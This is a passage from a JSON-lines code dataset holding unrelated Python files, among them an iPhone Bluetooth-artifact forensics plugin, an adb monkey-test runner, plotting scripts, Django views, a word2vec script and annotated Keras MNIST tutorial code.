(bluetooth_device[str(bluetooth_device_mac_address[i])].get(\"LastSeenTime\", \"NULL\")) == \"NULL\" :\n LastSeenTime = \"NULL\"\n else :\n # print(bluetooth_device[str(bluetooth_device_mac_address[i])][\"LastSeenTime\"])\n LastSeenTime = src.util.unix_date_to_human_date(bluetooth_device[str(bluetooth_device_mac_address[i])][\"LastSeenTime\"])\n if (bluetooth_device[str(bluetooth_device_mac_address[i])].get(\"DefaultName\", \"NULL\")) == \"NULL\" :\n DefaultName = \"NULL\"\n else :\n # print(bluetooth_device[str(bluetooth_device_mac_address[i])][\"DefaultName\"])\n DefaultName = bluetooth_device[str(bluetooth_device_mac_address[i])][\"DefaultName\"]\n bluetooth.append([Mac, Name, LastSeenTime, DefaultName])\n \n print(\"\\n========== PRINT_TYPE ==========\")\n print(\"'MAC Address' , 'Name', 'Last Seen Time', 'Device Type'\")\n print(\"================================\\n\")\n\n for i in bluetooth :\n print(i)\n\ndef bluetooth_that_have_been_shown() :\n\n # Bluetooth Bluetooth devices that have been shown Artifact\n # C:\\Users\\pental\\Desktop\\iphone-forensics\\extract_file\\SysSharedContainerDomain-systemgroup.com.apple.bluetooth\\Library\\Database\\com.apple.MobileBluetooth.ledevices.other.db\n\n\n bluetooth_that_have_been_shown_location = pathlib.Path(str(pathlib.Path(os.getcwd() + \"/extract_file/SysSharedContainerDomain-systemgroup.com.apple.bluetooth/Library/Database\")) + \"\\\\com.apple.MobileBluetooth.ledevices.other.db\")\n print(bluetooth_that_have_been_shown_location)\n conn = sqlite3.connect(bluetooth_that_have_been_shown_location)\n cur_otherdevices = conn.cursor()\n cur_otherdevices.execute(\"SELECT Uuid, Name, Address FROM OtherDevices\")\n otherdevices = cur_otherdevices.fetchall()\n\n otherdevices = list(otherdevices)\n for i in range(len(otherdevices)) :\n otherdevices[i] = list(otherdevices[i])\n \n for i in range(len(otherdevices)) :\n if otherdevices[i][1] == \"\" :\n otherdevices[i][1] = \"NULL\"\n\n print(\"\\n========== PRINT_TYPE ==========\")\n print(\"'UUID' , 'Name', 'Address'\")\n print(\"================================\\n\")\n\n for i in range(len(otherdevices)) :\n print(otherdevices[i])","sub_path":"src/os_plugin.py","file_name":"os_plugin.py","file_ext":"py","file_size_in_byte":6467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"288728932","text":"# -*- coding: utf-8 -*-\n__author__ = 'shikun'\nimport os\nimport time\nimport re\nimport monkeyConfig\nfrom adb_common import AndroidDebugBridge as ai\nimport matplotlibBase as mt\nimport MenCpu as m\nimport datetime as dt\nCPU = [[],[]] # time,使用情况\nMEN = [[],[]] #当前时间,和内存使用情况\n# 得到手机信息\ndef getPhoneMsg(cmd_log):\n l_list = []\n f = open(cmd_log, \"r\")\n lines = f.readlines()\n for line in lines:\n line = line.split('=')\n #Android 系统,如anroid 4.0\n if (line[0] == 'ro.build.version.release'):\n l_list.append(line[1])\n #手机名字\n if (line[0]=='ro.product.model'):\n l_list.append(line[1])\n #手机品牌\n if (line[0]=='ro.product.brand'):\n l_list.append(line[1])\n f.close()\n return l_list\n\n#开始脚本测试\ndef start_monkey(cmd, logdir, now1, logcatname):\n print(cmd)\n os.popen(cmd)\n # os.kill()\n #print\"使用Logcat导出日志\"\n cmd2 = \"adb logcat -d >%s\" % logcatname\n os.popen(cmd2)\n #print\"导出traces文件\"\n tracesname = logdir + \"\\\\\" + now1 + r\"traces.log\"\n cmd3 = \"adb shell cat /data/anr/traces.txt>%s\" % tracesname\n os.popen(cmd3)\n\n#获取error,\n# logcatname,mote_pah(服务器存储地址)t\n# log_list:version,model,brand\n######################\n# def geterror(log_list, logcatname, remote_path, now1):\n# # 这里的错误异常可以写到配置文件中\n# NullPointer = \"java.lang.NullPointerException\"\n# NullPointer_count = 0\n# IllegalState = \"java.lang.IllegalStateException\"\n# IllegalState_count = 0\n# IllegalArgument = \"java.lang.IllegalArgumentException\"\n# IllegalArgument_count = 0\n# ArrayIndexOutOfBounds = \"java.lang.ArrayIndexOutOfBoundsException\"\n# ArrayIndexOutOfBounds_count = 0\n# RuntimeException = \"java.lang.RuntimeException\"\n# RuntimeException_count = 0\n# SecurityException = \"java.lang.SecurityException\"\n# SecurityException_count = 0\n# f = open(logcatname, \"r\")\n# lines = f.readlines()\n# errfile = \"%s\\error.log\" % remote_path\n# if os.path.exists(errfile):\n# os.remove(errfile)\n# fr = open(errfile, \"a\")\n# fr.write(log_list[0])\n# fr.write(\"\\n\")\n# fr.write(log_list[1])\n# fr.write(\"\\n\")\n# fr.write(log_list[2])\n# fr.write(\"\\n\")\n# fr.write(now1)\n# fr.write(\"\\n\")\n# count = 0\n# for line in lines:\n# if re.findall(NullPointer, line):\n# NullPointer_count += 1\n# if re.findall(IllegalState, line):\n# IllegalState_count += 1\n# if re.findall(IllegalArgument, line):\n# IllegalArgument_count += 1\n# if re.findall(ArrayIndexOutOfBounds, line):\n# ArrayIndexOutOfBounds_count += 1\n# if re.findall(RuntimeException, line):\n# RuntimeException_count += 1\n# if re.findall(SecurityException, line):\n# SecurityException_count += 1\n#\n# # 这里的日志文件放到服务器去\n# if re.findall(NullPointer, line) or re.findall(IllegalState, line) or re.findall(IllegalArgument, line) or \\\n# re.findall(ArrayIndexOutOfBounds, line) or re.findall(RuntimeException, line) or re.findall(SecurityException, line):\n# count += 1\n# a = lines.index(line)\n# for var in range(a, a+22):\n# # 这个22是表示从找到某个出错的信息开始,打印log22行,这个数据你可以根据自己的需要改。基本上22行能把所有的出错有关的log展现出来了。\n# print(lines[var])\n# fr.write(lines[var])\n# fr.write(\"\\n\")\n# f.close()\n# fr.close()\n# # #柱形\n# if count > 0:\n# list_arg = [[NullPointer_count, IllegalState_count, IllegalArgument_count, ArrayIndexOutOfBounds_count],\n# ['空指针', '类型转换', '参数异常', '数组越界']]\n# # matplotlibBase.mat_bar(list_arg)\n# pass\n# else:\n# print(u\"没有任何异常\")\n\nif __name__ == '__main__':\n ini_file = 'monkey.ini'\n if os.path.isfile(ini_file):\n if ai().attached_devices():\n mc = monkeyConfig.baseReadnin(ini_file)\n ai().open_app(mc.get_package_name(), mc.get_activity())\n os.system('adb shell cat /system/build.prop >'+mc.get_phone_msg_log()) #存放的手机信息\n ll_list = getPhoneMsg(mc.get_phone_msg_log())\n # monkey开始测试\n sum = mc.get_sum()\n temp = \"\"\n monkeylog = \"\"\n start_monkey(mc.get_cmd(), mc.get_logdir(), mc.get_now(), mc.get_logcatname())\n for i in range(sum):\n time.sleep(1)\n print(i)\n dn = dt.datetime.now()\n CPU[0].append(dn)\n m.top_cpu(mc.get_package_name())\n # CPU[1].append(m.top_cpu(mc.get_package_name()))\n MEN[0].append(dn)\n m.get_men(mc.get_package_name())\n # MEN[1].append(m.get_men(mc.get_package_name()))\n monkeylog = open(mc.get_logdir() + \"\\\\\" + mc.get_now()+\"monkey.log\")\n temp = monkeylog.read()\n monkeylog.close()\n if temp.count('Monkey finished')>0:\n print(\"测试完成咯\")\n CPU[1].append(m.cpu)\n MEN[1].append(m.men)\n # geterror(ll_list, mc.get_log(), mc.get_remote_path(), mc.now)\n mt.cpu_men_plots(CPU, MEN)\n break\n else:\n print(\"设备不存在\")\n else:\n print(u\"配置文件不存在\"+ini_file)\n\n","sub_path":"monkeyTest.py","file_name":"monkeyTest.py","file_ext":"py","file_size_in_byte":5712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"614969538","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nimport re\n\nfilename = 'summary_global_network_square_0207.txt'\nresults = np.loadtxt(filename, delimiter=None, usecols=range(7))\nresults = results[results[:,0].argsort()]\nd1 = results[:,0]\ntrain_loss1 = np.multiply(results[:,4],np.square(d1))\ntest_loss1 = np.multiply(results[:,6],np.square(d1))\n\n\nfilenamepre = 'summary_global_network_l1reg_0210'\nfilename = filenamepre+'.txt'\nresults = np.loadtxt(filename, delimiter=None, usecols=range(8))\nresults = results[results[:,1].argsort()]\n\nresults1 = results[60:90]\ntable1 = results1[results1[:,0].argsort()]\nprint(table1)\n\nd2 = table1[:,0]\ntrain_loss2 = np.multiply(table1[:,5],np.square(d2))\ntest_loss2 = np.multiply(table1[:,7],np.square(d2))\n\n# train_loss2 = table2[:,5]\n# test_loss2 = table2[:,7]\n\npar = np.polyfit(np.log(d1),np.log(test_loss1),1,full=True)\nslope=par[0][0]\nintercept=par[0][1]\nprint(slope)\nprint(intercept)\npar = np.polyfit(np.log(d2),np.log(test_loss2),1,full=True)\nslope=par[0][0]\nintercept=par[0][1]\nprint(slope)\nprint(intercept)\n\n\nfilename = 'summary_local_network_square_0207.txt'\nresults = np.loadtxt(filename, delimiter=None, usecols=range(7))\nresults = results[results[:,0].argsort()]\nd3 = results[:,0]\ntrain_loss3 = np.multiply(results[:,4],np.square(d3))\ntest_loss3 = np.multiply(results[:,6],np.square(d3))\n\nfilename = 'summary_locally_connected_network_square_0207.txt'\nresults = np.loadtxt(filename, delimiter=None, usecols=range(7))\nresults = results[results[:,0].argsort()]\nd4 = results[:,0]\ntrain_loss4 = np.multiply(results[:,4],np.square(d4))\ntest_loss4 = np.multiply(results[:,6],np.square(d4))\n\nplt.rcParams.update({'font.size': 16})\n# plt.plot(d2,test_loss2, 'b-', label='reg 1E-8')\n# plt.plot(d2,train_loss2, 'b--')\nplt.plot(d1,test_loss1,'k-', label='GN')\nplt.plot(d1,train_loss1,'k--')\n#plt.plot(results1[0:30,0], results1[0:30,7],'ko')\n#plt.plot(results1[30:60,0], results1[30:60,7],'ks')\n#plt.plot(results1[60:90,0], results1[60:90,7],'bo')\n#plt.plot(results1[90:120,0], results1[90:120,7],'bs')\n#plt.plot(results1[120:150,0], results1[120:150,7],'k-')\nplt.plot(d2,test_loss2,'b-',label='L1reg 1E-8')\nplt.plot(d2,train_loss2,'b--')\nplt.plot(d2,np.exp(np.poly1d([slope,intercept])(np.log(d2))),'y-')\nplt.plot(d4,test_loss4, 'g-', label='LCN')\nplt.plot(d4,train_loss4, 'g--')\nplt.plot(d3,test_loss3, 'r-', label='LN')\nplt.plot(d3,train_loss3, 'r--')\n\n\n#plt.plot(d,np.exp(np.poly1d([slope,intercept])(np.log(d))),'r-')\nplt.yscale('log')\nplt.xscale('log')\nplt.xlabel('input dimension', size=24)\nplt.ylabel('mean squared error loss',size=24)\nplt.legend(loc='best')\nplt.title('slope of the best fitted line (yellow): %.3f' %slope, size=16)\n\n# x = d[8:]\n# y = test_loss2[8:]\n\n# par = np.polyfit(np.log(x),np.log(y),1,full=True)\n# slope=par[0][0]\n# intercept=par[0][1]\n# print(slope)\n\n# plt.subplot(1,2,1)\n# plt.plot(x,y,'ko')\n# plt.ylabel('test_loss')\n# plt.xlabel('Ne')\n# plt.yscale('log')\n\n# plt.subplot(1,2,2)\n# plt.plot(x,y,'ko')\n# plt.ylabel('test_loss')\n# plt.xlabel('Ne')\n# plt.yscale('log')\n# plt.xscale('log')\n\nimagefilename = filenamepre+'_results.png'\n#imagefilename = 'test_Nsample1E5.png'\nplt.savefig(imagefilename, bbox_inches='tight')\nplt.tight_layout()\nplt.show()","sub_path":"plot_L1.py","file_name":"plot_L1.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"612910067","text":"# -*- coding: utf-8 -*-\nimport logging\nimport os\nimport shutil\nfrom commands import *\nimport re\n\nimport sqlalchemy as sa\n\nlog = logging.getLogger(__name__)\n\nSORT_BY_DATE\t\t= 1\nSORT_BY_DATE_DESC\t= 2\n\nsorting_names = {\n\tSORT_BY_DATE: u\"по возрастанию времени создания\",\n\tSORT_BY_DATE_DESC: u\"по убыванию даты создания\"}\n\npreview_size = 150\n\nclass Image:\n\twidth = 0\n\theight = 0\n\ndef _get_image_info(path):\n\tout = getoutput(\"identify \\\"%s\\\"\" % path).strip()\n\t\n\timg = Image()\n\t\n\tsize = out.split()[2]\n\ti = size.index('x')\n\timg.width = int(size[:i])\n\timg.height = int(size[i + 1:])\n\timg.exif = {}\n\n\texif_strs = getoutput(\"exiftool \\\"%s\\\"\" % path).splitlines()\n\tfor s in exif_strs:\n\t\ttag, value = s.split(\":\", 1)\n\t\ttag = tag.strip()\n\t\tvalue = value.strip()\n\t\timg.exif[tag] = value\n\n\treturn img\n\ndef get_photo_info(photo):\n\treturn _get_image_info(photo.get_path())\n\n\nmult_words = {\n\t\"photo\": [u\"фотографий\", u\"фотография\", u\"фотографии\"],\n\t\"album\": [u\"альбомов\", u\"альбом\", u\"альбома\"]\n}\n\ndef get_mult_word(word, n):\n\tif n >= 10 and n < 20:\n\t\treturn mult_words[word][0]\n\telif n % 10 == 1:\n\t\treturn mult_words[word][1]\n\telif n % 10 >= 2 and n % 10 < 5:\n\t\treturn mult_words[word][2]\n\telse:\n\t\treturn mult_words[word][0]\n\n","sub_path":"gallery/lib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"68919646","text":"#!/bin/env python\n# coding:utf-8\n\n# board.emotion_score別に,単語を抽出,TFIDFで特徴のある単語をエル\n# 銘柄コード別\n\n# import psycopg2\nimport sqlite3\nimport os\nimport MeCab\nimport re\nimport mojimoji\nimport math\nimport argparse\nimport gensim\nimport json\n\nclass Emotion:\n\n def __init__(self, args):\n self.args = args\n self.tagger = MeCab.Tagger('-Ochasen -r '+os.environ[\"HOME\"]+'/.mecabrc')\n self.conn = sqlite3.connect(os.environ[\"DATA\"] + \"/board/board.db\")\n\n def __del__(self):\n self.conn.close()\n\n def run(self):\n words=self.get_words()\n with open(self.args.outcorpus,\"w\") as f:\n for w in words.values():\n f.write(\"\\t\".join(w)+\"\\n\")\n\n sentences = gensim.models.word2vec.Text8Corpus(self.args.outcorpus)\n model = gensim.models.word2vec.Word2Vec(sentences, size=200, window=5, workers=4, min_count=5)\n model.save(self.args.outmodel)\n self.write(model)\n\n def write(self,model):\n jdata={}\n cur=self.conn.cursor()\n cur.execute(\"select code from board_count_top30\",())\n for row in cur.fetchall():\n code=row[0]\n cde={}\n for emotion_score in (-2,2):\n dict=self.make_wordvector(model,emotion_score,code)\n cde[emotion_score]=dict\n jdata[code]=cde\n cur.close()\n\n with open(self.args.outjson,\"w\") as f:\n json.dump(jdata,f,ensure_ascii=False,indent=4)\n\n\n with open(self.args.outcsv,\"w\") as f:\n for code in jdata.keys():\n for emotion_score in jdata[code].keys():\n words=jdata[code][emotion_score]\n for word in words:\n vec=jdata[code][emotion_score][word]\n f.write(str(code)+\"\\t\"+str(emotion_score)+\"\\t\"+str(word)+\"\\t\"+\"\\t\".join(list(map(str,vec)))+\"\\n\")\n\n\n\n def make_wordvector(self,model,emotion_score,code):\n\n dict={}\n #上位20語\n cur=self.conn.cursor()\n cur.execute(\"select word,hinshi,tfidf from emotion_tfidf where code=? and emotion_score=? order by tfidf desc limit 20\",(code,emotion_score))\n for row in cur.fetchall():\n w=row[0].replace(\" \",\"\")\n wordvec=model.wv[w]\n dict[w]=wordvec.tolist()\n return dict\n\n\n def get_words(self):\n cur=self.conn.cursor()\n cur.execute(\"select b.code,b.body from board b,board_count_top30 t where b.code=t.code and b.emotion_score in(-2,-1,1,2)\",())\n\n words={} #words[code]=[a,b,c]\n for row in cur.fetchall():\n code=row[0]\n body=row[1].replace(\"\\n\",\"\")\n lst = self.mecab_analysis(body)\n if code in words:\n words[code]+=lst\n else:\n words[code]=lst\n\n cur.close()\n return words\n\n\n\n def delete_htmltag(self, sentence):\n # htmlタグ削除\n p = re.compile(r\"<[^>]*?>\")\n ret = p.sub(\"\", sentence)\n\n # エスケープされたHTMLタグ��除\n # http://pst.co.jp/powersoft/html/index.php?f=3401\n ret = re.sub(r\" \", \"\", ret)\n ret = re.sub(r\""\", \"\", ret)\n ret = re.sub(r\"&\", \"\", ret)\n ret = re.sub(r\"<\", \"\", ret)\n ret = re.sub(r\">\", \"\", ret)\n ret = re.sub(r\"©\", \"\", ret)\n\n # 特殊文字削除   など\n ret = re.sub(r\"\\&#\\d+;?\", \"\", ret)\n\n # 全角半角変換,カナ以外を半角へ\n ret = mojimoji.zen_to_han(ret, kana=False)\n # ret = ret.encode(\"utf-8\")\n\n # URL削除\n # http://www.megasoft.co.jp/mifes/seiki/s310.html\n # https://www.ipentec.com/document/document.aspx?page=regularexpression-url-detect\n # http://lite-ra.com/2014/11/post-605_2.html\n ret = re.sub(r\"(https?|ftp)(:\\/\\/[-_\\.!~*\\'()a-zA-Z0-9;\\/?:\\@&=\\+\\$,%#]+)\", \"\", ret)\n\n return ret\n\n def mecab_analysis(self, s):\n output = []\n s = self.delete_htmltag(s)\n nodes = self.tagger.parse(s)\n\n for node in nodes.split(\"\\n\"):\n if node == \"EOS\":\n break\n items = node.split(\"\\t\")\n moji = items[0]\n yomi = items[1]\n imi = items[2].replace(\" \",\"\") # \"LAPIS LAZULI\"対応\n hinshi = items[3]\n if hinshi in (\"名詞-一般\",\"名詞-固有名詞-一般\",\"形容詞-自立\"):\n output.append(imi)\n\n return output\n\n\ndef main():\n parser = argparse.ArgumentParser(description='calculate board score')\n parser.add_argument('--outcorpus', type=str, default=os.environ[\"DATA\"] + \"/board/emotion/emotion.txt\")\n parser.add_argument('--outmodel', type=str, default=os.environ[\"DATA\"] + \"/board/emotion/emotion.model\")\n parser.add_argument('--outjson', type=str, default=os.environ[\"DATA\"] + \"/board/emotion/emotion_w2v.json\")\n parser.add_argument('--outcsv', type=str, default=os.environ[\"DATA\"] + \"/board/emotion/emotion_w2v.txt\")\n\n\n args = parser.parse_args()\n\n Emotion(args).run()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"theme/src4/03_word2vec.py","file_name":"03_word2vec.py","file_ext":"py","file_size_in_byte":5133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"646732983","text":"import json\nfrom datetime import datetime, timedelta\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.utils import timezone\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom iho.forms import UserForm\nfrom iho.models import Request, User\n\n\ndef index(request):\n return render(request, 'iho/index.html', {'user': User.objects.first()})\n\n\n@csrf_exempt\ndef request_logs(request):\n query = Request.objects.order_by('-time')[:10].values()\n c = {'requests': list(query)}\n if request.method == 'POST':\n body = request.body.decode('utf-8')\n date = json.loads(body)['date']\n date = datetime.strptime(\n date, \"%Y-%m-%dT%H:%M:%S.%fZ\").replace(tzinfo=timezone(timedelta(0)))\n query = Request.objects.filter(time__gte=date).values()\n c = {'requests': list(query)}\n return JsonResponse(c)\n return render(request, 'iho/logs.html', c)\n\n\n@login_required(login_url='/admin/')\ndef edit(request):\n user = User.objects.first()\n if request.method == 'POST':\n form = UserForm(request.POST, request.FILES, instance=user)\n if form.is_valid():\n form.save()\n user = User.objects.first()\n else:\n form = UserForm(instance=user)\n return render(request, 'iho/edit.html', {'form': form})\n","sub_path":"iho/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"118003155","text":"\"\"\"\nUnit test execute as:\npython $CINGROOT/python/cing/Libs/test/test_pdb.py\n\"\"\"\nfrom cing import cingDirTestsData\nfrom cing import cingDirTmp\nfrom cing.Libs.NTutils import * #@UnusedWildImport\nfrom cing.Scripts.utils import printSequenceFromPdbFile\nfrom cing.core.classes import Project\nfrom cing.core.constants import * #@UnusedWildImport\nfrom unittest import TestCase\nimport unittest\n\nclass AllChecks(TestCase):\n\n def test_pdb(self):\n\n cingDirTmpTest = os.path.join( cingDirTmp, getCallerName() )\n mkdirs( cingDirTmpTest )\n self.failIf(os.chdir(cingDirTmpTest), msg =\n \"Failed to change to test directory for files: \" + cingDirTmpTest)\n\n entryId = \"1brv\" # Small much studied PDB NMR entry\n# entryId = \"tightTurn_IIb\"\n# entryId = \"1hy8\" # small, single model, very low scoring entry\n\n pdbDirectory = os.path.join(cingDirTestsData,\"pdb\", entryId)\n pdbFileName = \"pdb\"+entryId+\".ent\"\n pdbFilePath = os.path.join( pdbDirectory, pdbFileName)\n\n # does it matter to import it just now?\n project = Project( entryId )\n self.failIf( project.removeFromDisk())\n project = Project.open( entryId, status='new' )\n project.initPDB( pdbFile=pdbFilePath, convention = IUPAC )\n\n m = project.molecule\n ranges = 'A.173-178'\n nTdebug(\"m: %s\" % m)\n self.assertTrue( m.toPDB('m001.pdb', model=0, ranges=ranges, convention='XPLOR'))\n# nTdebug(\"Manual reimport\")\n# m.initCoordinates()\n# m.importFromPDB('m001.pdb',convention='XPLOR')\n nTdebug(\"Reimport 1\")\n m.replaceCoordinatesByPdb(pdbFilePath, name = entryId+'_reimport', convention=IUPAC)\n# nTdebug(\"Reimport 2\")\n# m.replaceCoordinatesByPdb(pdbFilePath, name = entryId+'_reimport', useModels = \"1\", convention=IUPAC)\n\n self.assertFalse(project.mkMacros())\n# self.assertFalse(project.validate(htmlOnly=False, doWhatif = False, doProcheck = False))\n\n def _testPrintSequenceFromPdbFile(self):\n entryId = \"1brv\" # Small much studied PDB NMR entry\n# entryId = \"1hy8\" # small, single model, very low scoring entry\n\n pdbDirectory = os.path.join(cingDirTestsData,\"pdb\", entryId)\n pdbFileName = \"pdb\"+entryId+\".ent\"\n fn = os.path.join( pdbDirectory, pdbFileName)\n\n self.failIf( os.chdir(cingDirTmp), msg=\n \"Failed to change to directory for temporary test files: \"+cingDirTmp)\n self.assertFalse(printSequenceFromPdbFile(fn))\n\n\nif __name__ == \"__main__\":\n cing.verbosity = verbosityDebug\n unittest.main()\n","sub_path":"python/cing/Libs/test/test_pdb.py","file_name":"test_pdb.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"374448427","text":"##### 2.1 初识神经网络\n#### 代码清单2-1 加载Keras中的MNIST数据集\n\"\"\"\n作者:只是给个示例,现在不用搞懂一些像是魔法一样的内容。\n\"\"\"\n\n# 从 keras库的datasets模块导入mnist模块\nfrom keras.datasets import mnist\n\n## 哼,看来之后的代码宽度上限都设为90好了\n## 执行了模块mnist的load_data函数,看起来这个函数会返回一个元素为二元组的二元组\n ## 二元组的每个元素(里面的二元组)都是数据集的图像和相应标签\n ## 真好奇mnist.py的代码呢,之后去看一看\n## 将mnist数据集里的训练数据和测试数据加载至这些元组里\n ## 数据集从 https://s3.amazonaws.com/img-datasets/mnist.npz 下载\n ## ⚠️第一次需要联网,并且要翻墙,并且要取消全局证书验证,否则会报错 urllib.error.URLError: urlopen error [SSL: CERTIFICATE_VERIFY_FAILED],方法是:\n ## import ssl\n ## ssl._create_default_https_context = ssl._create_unverified_context\n(train_images, train_labels), (test_images, test_labels) = mnist.load_data()\n\n## keras里已经载入numpy库了\n## 这个变量是个NumPy的ndarray呢\n## 获取train_images的维度信息\n # 更多细节:[numpy.ndarray.shape — NumPy v1.17 Manual](https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.shape.html)\nprint(train_images.shape)\n## 返回(60000, 28, 28),也就是说这里有60000个28*28的黑白位图\n\nprint(len(train_labels))\n## 返回60000,也就是相对应地有60000个标签\n\nprint(train_labels)\n## \"dtype=uint8\"是什么意思?\n\n#### 代码清单 2-2 网络架构\n\nfrom keras import models\nfrom keras import layers\n\n# 「层」(layer)是神经网络的核心组件。\n# 「层」从输入数据中提取「表示」——我们期望这种表示有助于解决手头的问题。\n# 多数深度学习都是将简单的「层」链接起来,从而实现渐进式的「数据蒸馏」(data distillation)。\n\n# 本例中的网络包含两个 Dense 层,它们是密集连接(「全连接」)的神经层。\n\n## 官方文档首页的大开头就见到了Sequential(),这究竟是什么神仙?\n## 可能是一类神经网络的初始的、空白的框架\n## 通过这种方式可以迅速创建这类神经网络的一个对象,在这里这个对象就是network\nnetwork = models.Sequential()\n## 给神经网络network增加一层,是一个有着512个节点的Dense层,激活方式为'relu'\n ## 输入形状这个参数的(28*28,)是什么意思呢?也许里面是个向量,向量的每个元素是一个28元组\nnetwork.add(layers.Dense(512, activation='relu', input_shape=(28 * 28,)))\n# 第二层即最后一个层是一个 10 路 softmax 层,将返回一个总和 1 的十个概率值组成的数组。\nnetwork.add(layers.Dense(10, activation='softmax'))\n\n\n\n#### 代码清单 2-3 编译步骤\n\n# 要训练网络,还需要选择「编译」(compile)步骤的三个参数:\n # 「损失函数」(loss function)\n # 「优化器」(optimizer)\n # 「指标」(metric)\n\n## 这个编译方式真的好傻瓜诶……\n## 「交叉熵」是什��?\nnetwork.compile(optimizer='rmsprop',\n loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n\n\n#### 代码清单 2-4 准备图像数据\n\n# 开始训练之前,对数据进行预处理,将其变换为网络要求的形状,并将所有值缩放到[0,1]区间。\n# 由上一个练习的操作可知,训练图像保存在一个 uint8 类型的数组中\n # 形状为 (60000, 28*28) ,取值区间为[0,255]\n# 需要将其变换为一个 float32 数组,形状不变但取值范围变为[0,1]\n\ntrain_images = train_images.reshape((60000, 28 * 28))\ntrain_images = train_images.astype('float32') / 255\n\ntest_images = test_images.reshape((10000, 28 * 28))\ntest_images = test_images.astype('float32') / 255\n\n\n\n#### 代码清单 2-5 准备标签\n\n# 第 3 章会对此进行解释\n\nfrom keras.utils import to_categorical\n\ntrain_labels = to_categorical(train_labels)\ntest_labels = to_categorical(test_labels)\n\n\n\n#### 代码清单 2-6 训练并测试 (这是MYF自己加的小标题)\n\n# 用fit方法来「拟合」(fit)模型\n # 参数依次为训练图像,训练标签,训练世代数,和??\nnetwork.fit(train_images, train_labels, epochs=5, batch_size=128)\n# 训练过程中显示的:loss为网络在训练数据上的损失,acc为网络在训练数据上的精度\n\n\n## debug时间\nprint(\"shape of test_images and shape of test_labels\", test_images.shape, test_labels.shape)\n## 尼玛,原来是test_images = 略略略 这里打成train_images.astype了......\n\n## 用evaluate方法来检验模型\ntest_loss, test_acc = network.evaluate(test_images, test_labels)\n\nprint('test_acc:', test_acc)\n\n\n\n## 这也太友好了吧!??才19行代码!","sub_path":"dlfr/ex020100.py","file_name":"ex020100.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"330761246","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom rest_framework import routers\nfrom core.views import clienteViewSet, caixaViewSet, produtosViewSet, contas_pagarViewSet, transacaoDiariaViewSet\n\nrouter = routers.DefaultRouter()\nrouter.register(r'clientes', clienteViewSet)\nrouter.register(r'caixa', caixaViewSet)\nrouter.register(r'produtos', produtosViewSet)\nrouter.register(r'contas_pagar', contas_pagarViewSet)\nrouter.register(r'transacaoDiaria', transacaoDiariaViewSet)\n\nurlpatterns = [\n path('api/', include(router.urls)),\n path('admin/', admin.site.urls),\n path('', include('core.urls')),\n]\n","sub_path":"estoque/estoque/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"165669070","text":"from __future__ import division\nfrom scipy import spatial\nimport math\n\n\nclass ProfileInterface(object):\n def __init__(self, connection=None, u_profile=None, a_profile=None):\n self.connection = connection\n self.user_profile = u_profile\n self.article_profile = a_profile\n\n # ###################################################################################\n # ################## 6.2.1 User - Article Profile Similarity ########################\n # ###################################################################################\n\n # evaluate how the news item cam satisfy the user's reading preference\n\n # cosine similarity\n def compute_user_article_content_similarity(self, uname, article_id):\n art_weight = []\n\n # topic distribution of user's accessed articles (LDA)\n topics, diction = self.user_profile.lemmas_of_accessed_articles(uname)\n\n full_vocab = self.user_profile.create_complete_topic_vocabulary(topics)\n\n user_weight = self.user_profile.compute_user_topics_weight(full_vocab, diction)\n\n self.connection.cursor.execute(\"SELECT topicName, weight FROM article_topics \"\n \"WHERE articleId = '%s' \" % article_id)\n article_t_name = [row[0] for row in self.connection.cursor]\n\n f = open(\"topics/article_topics.txt\", 'r')\n answer = {}\n for line in f:\n k, v, i = line.strip().split(',')\n answer[k.strip()] = v.strip()\n f.close()\n\n for word in full_vocab:\n if word in article_t_name:\n art_weight.append(float(answer[word]))\n else:\n art_weight.append(0)\n\n tn_tu = 1 - spatial.distance.cosine(art_weight, user_weight)\n\n return tn_tu\n\n # jaccard similarity\n def compute_user_article_pattern_similarity(self, uname, article_id):\n accessed_users = self.article_profile.get_accessed_users_by_name(article_id)\n users = self.user_profile.compute_user_similarity(uname)\n\n pn_pu = self.user_profile.jaccard_similarity(accessed_users, users)\n\n return pn_pu\n\n # jaccard similarity\n def compute_user_article_entities_similarity(self, uname, article_id):\n user_entities = self.user_profile.named_entities_of_accessed_articles(uname)\n art_entities = self.article_profile.get_article_named_entities(article_id)\n\n en_eu = self.user_profile.jaccard_similarity(user_entities, art_entities)\n\n return en_eu\n\n def compute_user_article_similarity(self, uname, article_id):\n a = b = c = 1\n sim_tn_tu = self.compute_user_article_content_similarity(uname, article_id)\n sim_pn_pu = self.compute_user_article_pattern_similarity(uname, article_id)\n sim_en_eu = self.compute_user_article_entities_similarity(uname, article_id)\n\n summary = math.pow(a, 2) + math.pow(b, 2) + math.pow(c, 2)\n sim_fn_fu = ((a*sim_tn_tu) + (b*sim_pn_pu) + (c*sim_en_eu)) / math.sqrt(summary)\n # print(\"Overall similarity between %s and article #%s:\" % (uname, article_id), sim_fn_fu)\n\n return sim_fn_fu\n\n # ####################################################################################\n # #################### 6.2.1 Article - Article Profile Similarity 